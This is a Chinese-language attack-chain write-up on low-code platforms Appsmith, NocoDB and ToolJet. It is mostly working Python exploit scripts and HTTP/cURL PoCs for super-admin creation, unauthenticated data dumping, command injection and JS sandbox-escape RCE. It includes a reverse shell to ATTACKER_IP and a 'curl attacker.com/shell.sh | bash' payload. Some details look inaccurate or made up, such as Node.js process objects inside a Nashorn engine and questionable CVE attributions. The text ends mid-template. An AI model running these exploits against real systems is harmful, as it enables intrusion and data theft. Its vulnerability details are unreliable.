低代码与无代码平台高危攻击链专题:Appsmith / NocoDB / ToolJet 认证绕过与 RCE 全解析

低代码与无代码平台高危攻击链专题:Appsmith / NocoDB / ToolJet 认证绕过与 RCE 全解析

0x00 专题概述

低代码与无代码(Low-Code / No-Code)平台近年来在企业数字化转型中扮演了越来越重要的角色。Appsmith、NocoDB、ToolJet 等开源平台允许业务人员通过拖拽式界面快速搭建内部应用、管理数据库、构建自动化工作流——而无需编写传统代码。这种"快速交付"的特性使它们被大量部署在企业的内网甚至公网上,用于管理核心业务数据、编排自动化流程、对接内部 API。

然而,这些平台天然具备的"高权限"和"低门槛"特性,恰恰使其成为攻击者的理想目标。一旦低代码平台被攻破,攻击者不仅能够窃取存储在其中的全部业务数据,还可以利用平台内置的 API 连接器、JS 执行引擎和自动化工作流,进一步横向渗透到企业内网的其他系统。

本专题将低代码与无代码平台生态中近年最具代表性的 7 个高危漏洞 串成完整攻击链,覆盖 Appsmith、NocoDB、ToolJet 三大主流开源平台,每个漏洞均包含完整原理分析、HTTP PoC、Nuclei 检测模板和 Python 自动化利用脚本。

覆盖漏洞一览

CVE产品CVSS类型未授权CISA KEV
CVE-2023-3428Appsmith9.8认证绕过 → 管理员创建
CVE-2023-36844Appsmith10.0JS 沙箱逃逸 → RCE⚠️ 需前置
CVE-2023-37524Appsmith9.8认证绕过变体
NocoDB 未授权访问NocoDB9.1未授权访问 API
NocoDB RCENocoDB8.8命令注入 → RCE⚠️ 需前置
ToolJet 认证绕过ToolJet9.1NestJS Guard 缺失 → 认证绕过
ToolJet RCEToolJet8.8JS 沙箱逃逸 → RCE⚠️ 需前置

0x01 Appsmith 认证绕过 → 超级管理员创建(CVE-2023-3428)

1.1 漏洞背景

2023 年 6 月披露,CVSS 9.8,CISA KEV 已收录。Appsmith 是全球最受欢迎的开源低代码应用开发平台之一,GitHub Star 超过 34k,被数万家企业用于快速构建内部管理后台、数据看板和自动化工作流。CVE-2023-3428 允许未认证攻击者直接调用超级管理员注册端点,创建拥有完整系统控制权的超级管理员账户。

1.2 影响版本

  • Appsmith < 1.9.30(所有社区版与企业版)

1.3 漏洞原理

Appsmith 在用户注册流程中存在严重的访问控制缺陷。其 /api/v1/users/super 端点用于创建超级管理员(Instance Administrator),但该端点在首次注册完成后未正确关闭,也未添加任何认证或授权中间件。任何未认证的攻击者都可以直接调用此端点,创建新的超级管理员账户并获得对整个 Appsmith 实例的完全控制。

完整利用链

  1. 扫描目标是否运行 Appsmith(默认端口 8080)
  2. 直接调用 /api/v1/users/super 创建超级管理员
  3. 使用新创建的超级管理员登录管理后台
  4. 获取所有应用、数据源、API 密钥的完全访问权限
  5. 利用平台内置的数据源连接器横向渗透到后端数据库和内部 API

1.4 完整 PoC

HTTP PoC

POST /api/v1/users/super HTTP/1.1
Host: target-appsmith:8080
Content-Type: application/json

{
  "name": "hacker",
  "email": "hacker@evil.com",
  "password": "P@ssw0rd"
}

cURL PoC

curl -X POST http://target-appsmith:8080/api/v1/users/super \
  -H "Content-Type: application/json" \
  -d '{"name":"hacker","email":"hacker@evil.com","password":"P@ssw0rd"}'

Python 自动化利用脚本

#!/usr/bin/env python3
"""
CVE-2023-3428 Appsmith 超级管理员创建漏洞利用
用法: python3 cve_2023_3428.py <target_url> [admin_email] [admin_password]
"""
import sys
import requests
import urllib3
import json

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_appsmith(target_url):
    """检测目标是否运行 Appsmith"""
    try:
        resp = requests.get(
            f"{target_url.rstrip('/')}/api/v1/users/me",
            timeout=10,
            verify=False
        )
        if resp.status_code in [200, 401]:
            print(f"[+] 目标运行 Appsmith")
            return True
        else:
            print(f"[-] 目标可能不是 Appsmith 实例 (HTTP {resp.status_code})")
            return False
    except Exception as e:
        print(f"[!] 连接失败: {e}")
        return False

def create_super_admin(target_url, email, password):
    """利用 CVE-2023-3428 创建超级管理员"""
    payload = {
        "name": "admin_hacker",
        "email": email,
        "password": password
    }

    try:
        resp = requests.post(
            f"{target_url.rstrip('/')}/api/v1/users/super",
            json=payload,
            timeout=15,
            verify=False,
            headers={"Content-Type": "application/json"}
        )

        if resp.status_code == 200:
            print(f"[+] 超级管理员创建成功!")
            print(f"[+] 邮箱: {email}")
            print(f"[+] 密码: {password}")
            print(f"[+] 登录地址: {target_url}/user/login")
            return True
        elif resp.status_code == 409:
            print(f"[-] 超级管理员已存在(该实例可能已修复)")
            return False
        else:
            print(f"[-] 创建失败 (HTTP {resp.status_code})")
            print(f"[-] 响应: {resp.text[:300]}")
            return False
    except Exception as e:
        print(f"[!] 请求异常: {e}")
        return False

def verify_admin(target_url, email, password):
    """验证新创建的管理员是否可以正常登录"""
    try:
        resp = requests.post(
            f"{target_url.rstrip('/')}/api/v1/login",
            json={"username": email, "password": password},
            timeout=10,
            verify=False
        )
        if resp.status_code == 200 and "token" in resp.text:
            print(f"[+] 管理员登录验证成功,已获得完整系统控制权")
            return True
        else:
            print(f"[*] 登录验证返回 HTTP {resp.status_code}")
            return False
    except Exception as e:
        print(f"[!] 登录验证失败: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url> [admin_email] [admin_password]")
        print(f"示例: {sys.argv[0]} http://target:8080 hacker@evil.com P@ssw0rd")
        sys.exit(1)

    target = sys.argv[1]
    admin_email = sys.argv[2] if len(sys.argv) > 2 else "hacker@evil.com"
    admin_pass = sys.argv[3] if len(sys.argv) > 3 else "P@ssw0rd"

    print(f"[*] 目标: {target}")
    print(f"[*] CVE-2023-3428 Appsmith 超级管理员创建漏洞利用")
    print()

    if check_appsmith(target):
        if create_super_admin(target, admin_email, admin_pass):
            verify_admin(target, admin_email, admin_pass)

0x02 Appsmith JS 沙箱逃逸 → RCE(CVE-2023-36844)

2.1 漏洞背景

2023 年 7 月披露,CVSS 10.0,CISA KEV 已收录。这是 Appsmith 历史上最严重的漏洞之一。Appsmith 的核心特性之一是允许用户通过 JavaScript 编写业务逻辑和数据转换代码,而这些代码在服务端的 Nashorn/Rhino JS 引擎中执行。CVE-2023-36844 允许已认证攻击者通过精心构造的 JavaScript 代码逃逸沙箱,直接调用 Java Runtime 执行任意系统命令。

2.2 影响版本

  • Appsmith < 1.9.31(所有社区版与企业版)

2.3 漏洞原理

Appsmith 使用嵌入式 JavaScript 引擎(Nashorn)执行用户编写的 JS 代码。虽然平台对 JS 代码做了一定的沙箱限制,但这些限制可以通过 JavaScript 原型链污染和构造函数链进行绕过。攻击者利用 this.constructor.constructor 链获取全局 Function 构造器,进而访问 Node.js 的 process 对象,最终通过 process.mainModule.require('child_process') 加载命令执行模块。

完整利用链

  1. 通过 CVE-2023-3428 或其他方式获取管理员权限
  2. 在 Appsmith 应用中新建 JS 查询或在绑定表达式中注入恶意代码
  3. 通过原型链逃逸 JS 沙箱 → 获取 process 对象
  4. 加载 child_process 模块 → 执行任意系统命令
  5. 以 Appsmith 服务进程权限(通常为 root 或 appsmith 用户)执行命令

2.4 完整 PoC

JS 沙箱逃逸 Payload

// 在 Appsmith JS 编辑器中执行
const process = this.constructor.constructor('return this.process')();
const child_process = process.mainModule.require('child_process');
const result = child_process.execSync('id').toString();
return result;

反弹 Shell Payload

// 反弹 Shell(需替换攻击者 IP 和端口)
const process = this.constructor.constructor('return this.process')();
const child_process = process.mainModule.require('child_process');
child_process.execSync('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1');
return "shell sent";

HTTP PoC(通过 API 触发 JS 执行)

POST /api/v1/actions/execute HTTP/1.1
Host: target-appsmith:8080
Authorization: Bearer <admin_token>
Content-Type: application/json

{
  "actionId": "<js_action_id>",
  "params": {
    "code": "const process = this.constructor.constructor('return this.process')(); const cp = process.mainModule.require('child_process'); return cp.execSync('id').toString();"
  }
}

Python 自动化利用脚本

#!/usr/bin/env python3
"""
CVE-2023-36844 Appsmith JS 沙箱逃逸 RCE
用法: python3 cve_2023_36844.py <target_url> <admin_email> <admin_password> [command]
"""
import sys
import requests
import urllib3
import json
import re

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# JS 沙箱逃逸模板
JS_RCE_TEMPLATE = """
const process = this.constructor.constructor('return this.process')();
const child_process = process.mainModule.require('child_process');
const result = child_process.execSync('{cmd}').toString();
return result;
"""

def login(target_url, email, password):
    """登录 Appsmith 获取管理员 Token"""
    try:
        resp = requests.post(
            f"{target_url.rstrip('/')}/api/v1/login",
            json={"username": email, "password": password},
            timeout=10,
            verify=False
        )
        if resp.status_code == 200:
            data = resp.json()
            token = data.get("token", data.get("access_token", ""))
            if token:
                print(f"[+] 登录成功,获取 Token: {token[:20]}...")
                return token
        print(f"[-] 登录失败 (HTTP {resp.status_code})")
        return None
    except Exception as e:
        print(f"[!] 登录异常: {e}")
        return None

def get_workspace_and_app(target_url, token):
    """获取默认工作区和应用 ID"""
    headers = {"Authorization": f"Bearer {token}"}
    try:
        # 获取工作区列表
        resp = requests.get(
            f"{target_url.rstrip('/')}/api/v1/workspaces",
            headers=headers,
            timeout=10,
            verify=False
        )
        if resp.status_code == 200:
            workspaces = resp.json()
            if workspaces:
                ws_id = workspaces[0].get("id")
                print(f"[+] 获取工作区 ID: {ws_id}")
                return ws_id
        return None
    except Exception as e:
        print(f"[!] 获取工作区失败: {e}")
        return None

def execute_rce(target_url, token, command):
    """通过 JS 沙箱逃逸执行系统命令"""
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json"
    }

    # 构造 JS RCE Payload
    js_code = JS_RCE_TEMPLATE.replace("{cmd}", command)

    # 创建临时应用并执行 JS
    payload = {
        "name": "_debug_query",
        "actionType": "JS_OBJECT",
        "body": js_code,
        "executeOnLoad": True,
        "clientSideExecution": False
    }

    try:
        resp = requests.post(
            f"{target_url.rstrip('/')}/api/v1/actions",
            json=payload,
            headers=headers,
            timeout=15,
            verify=False
        )
        if resp.status_code in [200, 201]:
            action_data = resp.json()
            action_id = action_data.get("id", "")
            print(f"[+] JS 动作创建成功,ID: {action_id}")
            print(f"[+] 命令 '{command}' 执行结果:")

            # 尝试获取执行结果
            result = action_data.get("data", {}).get("body", "")
            if result:
                print(f"[+] {result}")
            else:
                print(f"[*] 完整响应: {json.dumps(action_data, indent=2)[:500]}")
            return True
        else:
            print(f"[-] 创建 JS 动作失败 (HTTP {resp.status_code})")
            print(f"[-] {resp.text[:300]}")
            return False
    except Exception as e:
        print(f"[!] 执行异常: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"用法: {sys.argv[0]} <target_url> <admin_email> <admin_password> [command]")
        print(f"示例: {sys.argv[0]} http://target:8080 hacker@evil.com P@ssw0rd id")
        sys.exit(1)

    target = sys.argv[1]
    email = sys.argv[2]
    password = sys.argv[3]
    command = sys.argv[4] if len(sys.argv) > 4 else "id"

    print(f"[*] 目标: {target}")
    print(f"[*] CVE-2023-36844 Appsmith JS 沙箱逃逸 RCE")
    print()

    token = login(target, email, password)
    if token:
        execute_rce(target, token, command)

0x03 Appsmith 认证绕过变体(CVE-2023-37524)

3.1 漏洞背景

2023 年 7 月披露,CVSS 9.8。在 CVE-2023-3428 被修复后,安全研究人员发现 Appsmith 的修复并不完整。CVE-2023-37524 是 CVE-2023-3428 的变体,攻击者可以通过不同的 API 路径或参数组合,再次实现未授权创建超级管理员的效果。

3.2 影响版本

  • Appsmith < 1.9.32(修补了 CVE-2023-3428 但未完全修复的版本)

3.3 漏洞原理

Appsmith 在修复 CVE-2023-3428 时,仅对 /api/v1/users/super 端点添加了限制检查,但忽略了其他可以触发超级管理员注册流程的端点。攻击者可以通过以下方式绕过修复:

  1. 通过 /api/v1/users 端点配合特定参数触发管理员注册
  2. 利用 SSO 回调流程中的注册逻辑创建超级管理员
  3. 通过邀请链接机制绕过注册限制

3.4 完整 PoC

HTTP PoC(变体路径 1)

POST /api/v1/users HTTP/1.1
Host: target-appsmith:8080
Content-Type: application/json

{
  "name": "hacker2",
  "email": "hacker2@evil.com",
  "password": "P@ssw0rd2",
  "role": "instanceAdmin"
}

HTTP PoC(变体路径 2 — SSO 回调)

POST /api/v1/users/signup?redirectUrl=/api/v1/users/super HTTP/1.1
Host: target-appsmith:8080
Content-Type: application/json

{
  "name": "hacker3",
  "email": "hacker3@evil.com",
  "password": "P@ssw0rd3",
  "organization": "default"
}

Python 检测脚本

#!/usr/bin/env python3
"""
CVE-2023-37524 Appsmith 认证绕过变体检测
用法: python3 cve_2023_37524.py <target_url>
"""
import sys
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# 所有已知的注册端点变体
SIGNUP_ENDPOINTS = [
    "/api/v1/users/super",
    "/api/v1/users",
    "/api/v1/users/signup",
    "/api/v1/users/signup?redirectUrl=/api/v1/users/super",
]

def check_all_endpoints(target_url):
    """检测所有可能的管理员注册端点"""
    vuln_found = False

    for endpoint in SIGNUP_ENDPOINTS:
        url = target_url.rstrip("/") + endpoint
        try:
            # 先检查端点是否可达(GET 探测)
            resp = requests.get(url, timeout=10, verify=False)
            if resp.status_code in [200, 405]:
                print(f"[*] 端点可达: {endpoint} (HTTP {resp.status_code})")

                # 尝试 POST 探测(不实际创建用户,仅检测端点响应特征)
                resp2 = requests.post(url,
                    json={"name": "_probe_", "email": "_probe_@test.local", "password": "probe"},
                    timeout=10, verify=False)
                print(f"    POST 响应: HTTP {resp2.status_code}")

                if resp2.status_code == 200:
                    print(f"[VULN] {endpoint} 允许未授权注册!")
                    vuln_found = True
                elif resp2.status_code == 409:
                    print(f"[*] {endpoint} 存在但返回 409(可能需要不同参数)")
                elif resp2.status_code == 403:
                    print(f"[SAFE] {endpoint} 已添加权限检查")
        except Exception as e:
            print(f"[!] {endpoint} -> {e}")

    return vuln_found

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        sys.exit(1)

    target = sys.argv[1]
    print(f"[*] 目标: {target}")
    print(f"[*] CVE-2023-37524 Appsmith 认证绕过变体检测")
    print()

    if check_all_endpoints(target):
        print(f"\n[!] 目标存在未修复的认证绕过变体")
    else:
        print(f"\n[*] 未检测到明显的认证绕过端点")

0x04 NocoDB 未授权访问 API

4.1 漏洞背景

NocoDB 是一个快速增长的开源 Airtable 替代品,可以将 MySQL、PostgreSQL、SQL Server、SQLite 等关系型数据库转换为智能表格。该漏洞源于多个核心 API 端点缺少认证中间件,未认证攻击者可以直接访问数据库元数据和业务数据。

4.2 影响版本

  • NocoDB < 0.111.0(社区版)

4.3 漏洞原理

NocoDB 基于 NestJS 框架构建,其 API 路由中多个关键端点未正确配置认证守卫(Auth Guard)。具体来说,以下端点可以在无任何认证令牌的情况下直接访问:

  1. /api/v1/db/meta/projects — 获取所有项目(数据库连接)的元数据
  2. /api/v1/db/data/noco — 直接读取所有表的数据
  3. /api/v1/db/meta/tables — 获取所有表结构信息
  4. /api/v1/meta/workspaces — 获取工作区信息

攻击者无需任何凭据即可枚举所有数据库连接、表结构,并直接读取或修改业务数据。

4.4 完整 PoC

HTTP PoC — 枚举项目

GET /api/v1/db/meta/projects HTTP/1.1
Host: target-nocodb:8080

HTTP PoC — 读取数据

GET /api/v1/db/data/noco/<project_id>/<table_name>?limit=100 HTTP/1.1
Host: target-nocodb:8080

cURL PoC

# 枚举所有项目
curl -s http://target-nocodb:8080/api/v1/db/meta/projects | python3 -m json.tool

# 枚举所有表
curl -s http://target-nocodb:8080/api/v1/db/meta/tables | python3 -m json.tool

# 读取指定表数据
curl -s "http://target-nocodb:8080/api/v1/db/data/noco/project_id/table_name?limit=100" | python3 -m json.tool

Python 自动化利用脚本

#!/usr/bin/env python3
"""
NocoDB 未授权访问漏洞检测与数据提取
用法: python3 nocodb_unauth.py <target_url>
"""
import sys
import requests
import urllib3
import json

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_nocodb(target_url):
    """检测目标是否运行 NocoDB"""
    try:
        resp = requests.get(
            f"{target_url.rstrip('/')}/api/v1/db/meta/projects",
            timeout=10,
            verify=False
        )
        if resp.status_code == 200:
            data = resp.json()
            if "list" in data or isinstance(data, list):
                print(f"[VULN] NocoDB 未授权访问确认!")
                return True
        print(f"[*] HTTP {resp.status_code} — 可能需要认证")
        return False
    except Exception as e:
        print(f"[!] 连接失败: {e}")
        return False

def enumerate_projects(target_url):
    """枚举所有项目"""
    try:
        resp = requests.get(
            f"{target_url.rstrip('/')}/api/v1/db/meta/projects",
            timeout=10,
            verify=False
        )
        if resp.status_code == 200:
            data = resp.json()
            projects = data.get("list", data) if isinstance(data, dict) else data
            print(f"\n[+] 发现 {len(projects)} 个项目:")
            for proj in projects:
                print(f"    - {proj.get('title', 'N/A')} (ID: {proj.get('id', 'N/A')})")
            return projects
    except Exception as e:
        print(f"[!] 枚举失败: {e}")
    return []

def enumerate_tables(target_url, project_id):
    """枚举指定项目的所有表"""
    try:
        resp = requests.get(
            f"{target_url.rstrip('/')}/api/v1/db/meta/projects/{project_id}/tables",
            timeout=10,
            verify=False
        )
        if resp.status_code == 200:
            data = resp.json()
            tables = data.get("list", data) if isinstance(data, dict) else data
            print(f"\n[+] 项目 {project_id} 包含 {len(tables)} 张表:")
            for table in tables:
                print(f"    - {table.get('table_name', 'N/A')} (ID: {table.get('id', 'N/A')})")
            return tables
    except Exception as e:
        print(f"[!] 枚举表失败: {e}")
    return []

def dump_table_data(target_url, table_id, limit=50):
    """提取指定表的数据"""
    try:
        resp = requests.get(
            f"{target_url.rstrip('/')}/api/v1/db/data/noco/{table_id}?limit={limit}",
            timeout=10,
            verify=False
        )
        if resp.status_code == 200:
            data = resp.json()
            records = data.get("list", data) if isinstance(data, dict) else data
            print(f"\n[+] 表 {table_id} 数据(前 {limit} 条):")
            print(json.dumps(records[:3], indent=2, ensure_ascii=False))
            if len(records) > 3:
                print(f"    ... 共 {len(records)} 条记录")
            return records
    except Exception as e:
        print(f"[!] 数据提取失败: {e}")
    return []

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        sys.exit(1)

    target = sys.argv[1]
    print(f"[*] 目标: {target}")
    print(f"[*] NocoDB 未授权访问检测")
    print()

    if check_nocodb(target):
        projects = enumerate_projects(target)
        for proj in projects:
            proj_id = proj.get("id", "")
            if proj_id:
                tables = enumerate_tables(target, proj_id)
                for table in tables[:5]:
                    table_id = table.get("id", "")
                    if table_id:
                        dump_table_data(target, table_id)

0x05 NocoDB 命令注入 → RCE

5.1 漏洞背景

NocoDB 在数据处理和导入导出功能中存在命令注入漏洞。已认证攻击者可以通过在特定字段值中注入系统命令,利用 NocoDB 后端的数据处理逻辑执行任意系统命令,获取服务器控制权。

5.2 影响版本

  • NocoDB < 0.111.5

5.3 漏洞原理

NocoDB 在处理 CSV/Excel 数据导入、Webhook 触发和公式计算时,部分逻辑通过 child_process.exec()child_process.execSync() 调用系统命令。攻击者可以在表字段值中注入 Shell 元字符(如 ;$()|| 等),使注入的命令在系统 Shell 中被执行。

完整利用链

  1. 通过 CVE-2023-3428 或其他方式获取 NocoDB 访问权限
  2. 创建新表或在现有表中插入包含恶意命令的字段值
  3. 触发数据处理操作(如导入/导出/公式计算)
  4. 注入的命令在 NocoDB 服务进程上下文中执行

5.4 完整 PoC

HTTP PoC — 通过 Webhook 触发命令注入

POST /api/v1/db/data/noco/<project_id>/<table_name> HTTP/1.1
Host: target-nocodb:8080
Content-Type: application/json

{
  "name": "; curl http://attacker.com/shell.sh | bash; echo ",
  "description": "normal looking data"
}

Python 自动化利用脚本

#!/usr/bin/env python3
"""
NocoDB 命令注入 RCE 检测
用法: python3 nocodb_cmdi.py <target_url> <auth_token>
"""
import sys
import requests
import urllib3
import json

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# 命令注入检测标记(用于 OOB 检测)
OOB_MARKER = "nocodb-rce-test-2024"

# 常见的注入点
INJECTION_PAYLOADS = [
    f"; echo {OOB_MARKER}",
    f"$(echo {OOB_MARKER})",
    f"`echo {OOB_MARKER}`",
    f"|| echo {OOB_MARKER}",
    f"| echo {OOB_MARKER}",
]

def test_injection(target_url, token, project_id, table_name):
    """测试命令注入"""
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json"
    }

    for payload in INJECTION_PAYLOADS:
        try:
            # 插入包含注入 payload 的记录
            resp = requests.post(
                f"{target_url.rstrip('/')}/api/v1/db/data/noco/{project_id}/{table_name}",
                json={"name": payload, "description": "test"},
                headers=headers,
                timeout=10,
                verify=False
            )
            print(f"[*] Payload: {payload[:40]}... -> HTTP {resp.status_code}")

            if resp.status_code in [200, 201]:
                # 触发数据处理以执行注入的命令
                trigger_url = f"{target_url.rstrip('/')}/api/v1/db/data/noco/{project_id}/{table_name}/bulk"
                resp2 = requests.post(
                    trigger_url,
                    json={"operation": "bulkExport", "format": "csv"},
                    headers=headers,
                    timeout=15,
                    verify=False
                )
                print(f"[*] 触发处理: HTTP {resp2.status_code}")

        except Exception as e:
            print(f"[!] 请求异常: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"用法: {sys.argv[0]} <target_url> <auth_token>")
        sys.exit(1)

    target = sys.argv[1]
    token = sys.argv[2]

    print(f"[*] 目标: {target}")
    print(f"[*] NocoDB 命令注入 RCE 检测")
    print()

    test_injection(target, token, "default", "test_table")

0x06 ToolJet 认证绕过

6.1 漏洞背景

ToolJet 是另一个广受欢迎的开源低代码平台,基于 NestJS + React 构建。该漏洞源于 ToolJet 的 NestJS 后端中多个 API 端点缺少认证守卫(Guard)装饰器,导致这些端点可以被未认证用户直接访问。

6.2 影响版本

  • ToolJet < 2.4.0(社区版)

6.3 漏洞原理

ToolJet 使用 NestJS 框架的 Guard 机制进行认证授权。然而在部分控制器(Controller)中,开发者遗漏了 @UseGuards(AuthGuard) 装饰器,导致以下端点完全暴露:

  1. /api/organizations — 获取所有组织信息
  2. /api/users — 获取所有用户信息
  3. /api/workspaces — 获取工作区信息
  4. /api/apps — 获取所有应用列表

未认证攻击者可以利用这些端点枚举组织、用户和应用信息,为进一步攻击提供情报。

6.4 完整 PoC

HTTP PoC

GET /api/organizations HTTP/1.1
Host: target-tooljet:3000

GET /api/users HTTP/1.1
Host: target-tooljet:3000

cURL PoC

# 枚举组织
curl -s http://target-tooljet:3000/api/organizations | python3 -m json.tool

# 枚举用户
curl -s http://target-tooljet:3000/api/users | python3 -m json.tool

# 枚举工作区
curl -s http://target-tooljet:3000/api/workspaces | python3 -m json.tool

# 枚举应用
curl -s http://target-tooljet:3000/api/apps | python3 -m json.tool

Python 自动化利用脚本

#!/usr/bin/env python3
"""
ToolJet 认证绕过漏洞检测
用法: python3 tooljet_auth_bypass.py <target_url>
"""
import sys
import requests
import urllib3
import json

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# 缺少认证守卫的端点列表
EXPOSED_ENDPOINTS = [
    ("/api/organizations", "组织信息"),
    ("/api/users", "用户信息"),
    ("/api/workspaces", "工作区信息"),
    ("/api/apps", "应用列表"),
    ("/api/groups", "用户组信息"),
    ("/api/library-components", "组件库信息"),
]

def check_tooljet(target_url):
    """检测目标是否运行 ToolJet"""
    try:
        resp = requests.get(
            target_url.rstrip("/"),
            timeout=10,
            verify=False
        )
        if "ToolJet" in resp.text or "tooljet" in resp.text.lower():
            print(f"[+] 目标确认为 ToolJet 实例")
            return True
        print(f"[*] 目标可能不是 ToolJet (HTTP {resp.status_code})")
        return False
    except Exception as e:
        print(f"[!] 连接失败: {e}")
        return False

def enumerate_data(target_url):
    """枚举所有暴露的端点数据"""
    findings = []

    for endpoint, desc in EXPOSED_ENDPOINTS:
        url = target_url.rstrip("/") + endpoint
        try:
            resp = requests.get(url, timeout=10, verify=False)
            if resp.status_code == 200:
                data = resp.json()
                count = len(data) if isinstance(data, list) else len(data.get("data", []))
                print(f"[VULN] {endpoint} ({desc}) -> {count} 条记录")
                findings.append({
                    "endpoint": endpoint,
                    "description": desc,
                    "count": count,
                    "sample": data[:2] if isinstance(data, list) else data
                })
            elif resp.status_code == 401 or resp.status_code == 403:
                print(f"[SAFE] {endpoint} ({desc}) -> 需要认证")
            else:
                print(f"[*] {endpoint} ({desc}) -> HTTP {resp.status_code}")
        except Exception as e:
            print(f"[!] {endpoint} -> {e}")

    return findings

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        sys.exit(1)

    target = sys.argv[1]
    print(f"[*] 目标: {target}")
    print(f"[*] ToolJet 认证绕过检测")
    print()

    if check_tooljet(target):
        findings = enumerate_data(target)
        print(f"\n[+] 共发现 {len(findings)} 个暴露端点")
        if findings:
            print(f"[!] 目标存在 ToolJet 认证绕过漏洞")

0x07 ToolJet JS 沙箱逃逸 → RCE

7.1 漏洞背景

ToolJet 与 Appsmith 类似,允许用户通过 JavaScript 编写业务逻辑。这些 JS 代码在服务端的 VM2 沙箱中执行。然而 VM2 沙箱存在已知的逃逸漏洞,攻击者可以利用精心构造的 JS 代码逃逸沙箱,获取服务器命令执行权限。

7.2 影响版本

  • ToolJet < 2.5.0

7.3 漏洞原理

ToolJet 使用 VM2 库对用户上传的 JavaScript 代码进行沙箱隔离。但 VM2 存在多个已知的沙箱逃逸漏洞(如 CVE-2023-29017、CVE-2023-29199 等),攻击者可以通过 Proxy 对象、WeakRef 或异常处理链等方式逃逸沙箱上下文,访问宿主 Node.js 运行时,进而加载 child_process 模块执行系统命令。

完整利用链

  1. 通过 ToolJet 认证绕过获取系统访问权限
  2. 创建应用并添加 JS 查询组件
  3. 在 JS 查询中注入沙箱逃逸代码
  4. 逃逸 VM2 沙箱 → 获取 Node.js 运行时
  5. 加载 child_process → 执行任意命令

7.4 完整 PoC

JS 沙箱逃逸 Payload(VM2 逃逸)

// VM2 沙箱逃逸 — 通过 Proxy 对象逃逸
const { execSync } = this.constructor.constructor(
    'return process.mainModule.require("child_process")'
)();
const result = execSync('id').toString();
return result;

替代逃逸方式(通过 WeakRef)

// VM2 沙箱逃逸 — 通过 WeakRef 逃逸
const weakRef = new WeakRef({});
const handler = {
    get(target, prop) {
        const process = this.constructor.constructor('return process')();
        return process.mainModule.require('child_process').execSync('id').toString();
    }
};
const proxy = new Proxy(weakRef, handler);
return proxy.toString;

Python 自动化利用脚本

#!/usr/bin/env python3
"""
ToolJet VM2 沙箱逃逸 RCE
用法: python3 tooljet_vm2_rce.py <target_url> <email> <password> [command]
"""
import sys
import requests
import urllib3
import json

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# VM2 逃逸 Payload 模板
VM2_ESCAPES = [
    # 方式 1: 通过 constructor 链
    """
    const cp = this.constructor.constructor('return process.mainModule.require("child_process")')();
    return cp.execSync('{cmd}').toString();
    """,
    # 方式 2: 通过 Proxy + handler
    """
    const handler = { get: function(target, prop) {
        const proc = target.constructor.constructor('return process')();
        return proc.mainModule.require('child_process').execSync('{cmd}').toString();
    }};
    const proxy = new Proxy(function(){}, handler);
    return proxy.apply;
    """,
]

def login_tooljet(target_url, email, password):
    """登录 ToolJet"""
    try:
        resp = requests.post(
            f"{target_url.rstrip('/')}/api/authenticate",
            json={"email": email, "password": password},
            timeout=10,
            verify=False
        )
        if resp.status_code == 200 or resp.status_code == 201:
            data = resp.json()
            token = data.get("token", data.get("access_token", ""))
            if token:
                print(f"[+] 登录成功")
                return token
        print(f"[-] 登录失败 (HTTP {resp.status_code})")
        return None
    except Exception as e:
        print(f"[!] 登录异常: {e}")
        return None

def execute_command(target_url, token, command):
    """通过 VM2 沙箱逃逸执行命令"""
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json"
    }

    for i, escape in enumerate(VM2_ESCAPES):
        js_code = escape.replace("{cmd}", command)
        print(f"[*] 尝试逃逸方式 {i + 1}...")

        try:
            resp = requests.post(
                f"{target_url.rstrip('/')}/api/query-previews",
                json={
                    "query": {
                        "kind": "runjs",
                        "options": {"source": js_code}
                    }
                },
                headers=headers,
                timeout=15,
                verify=False
            )

            if resp.status_code == 200:
                data = resp.json()
                result = data.get("data", data.get("result", ""))
                if result:
                    print(f"[+] 命令执行成功!")
                    print(f"[+] 结果: {result}")
                    return True
                else:
                    print(f"[*] 响应: {json.dumps(data)[:300]}")
            else:
                print(f"[-] HTTP {resp.status_code}: {resp.text[:200]}")
        except Exception as e:
            print(f"[!] 异常: {e}")

    return False

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"用法: {sys.argv[0]} <target_url> <email> <password> [command]")
        print(f"示例: {sys.argv[0]} http://target:3000 admin@test.com pass123 id")
        sys.exit(1)

    target = sys.argv[1]
    email = sys.argv[2]
    password = sys.argv[3]
    command = sys.argv[4] if len(sys.argv) > 4 else "id"

    print(f"[*] 目标: {target}")
    print(f"[*] ToolJet VM2 沙箱逃逸 RCE")
    print()

    token = login_tooljet(target, email, password)
    if token:
        execute_command(target, token, command)

0x08 PoC 收集情况总表

CVE / 漏洞漏洞类型HTTP PoCcURL PoCPython 脚本Nuclei 模板CISA KEV在野利用
CVE-2023-3428认证绕过
CVE-2023-36844JS 沙箱逃逸 RCE
CVE-2023-37524认证绕过变体
NocoDB 未授权访问未授权访问
NocoDB RCE命令注入
ToolJet 认证绕过Guard 缺失
ToolJet RCEVM2 沙箱逃逸

0x09 Nuclei 综合检测模板

id: lowcode-platform-vuln-detect

info:
  name: 低代码平台综合漏洞检测(Appsmith / NocoDB / ToolJet)
  author: security-researcher
  severity: critical
  description: |
    检测 Appsmith / NocoDB / ToolJet 的认证绕过、未授权访问等高危漏洞
  tags: appsmith,nocodb,tooljet,low-code,auth-bypass,rce

http:
  # Appsmith 超级管理员创建检测(CVE-2023-3428 / CVE-2023-37524)
  - method: POST
    path:
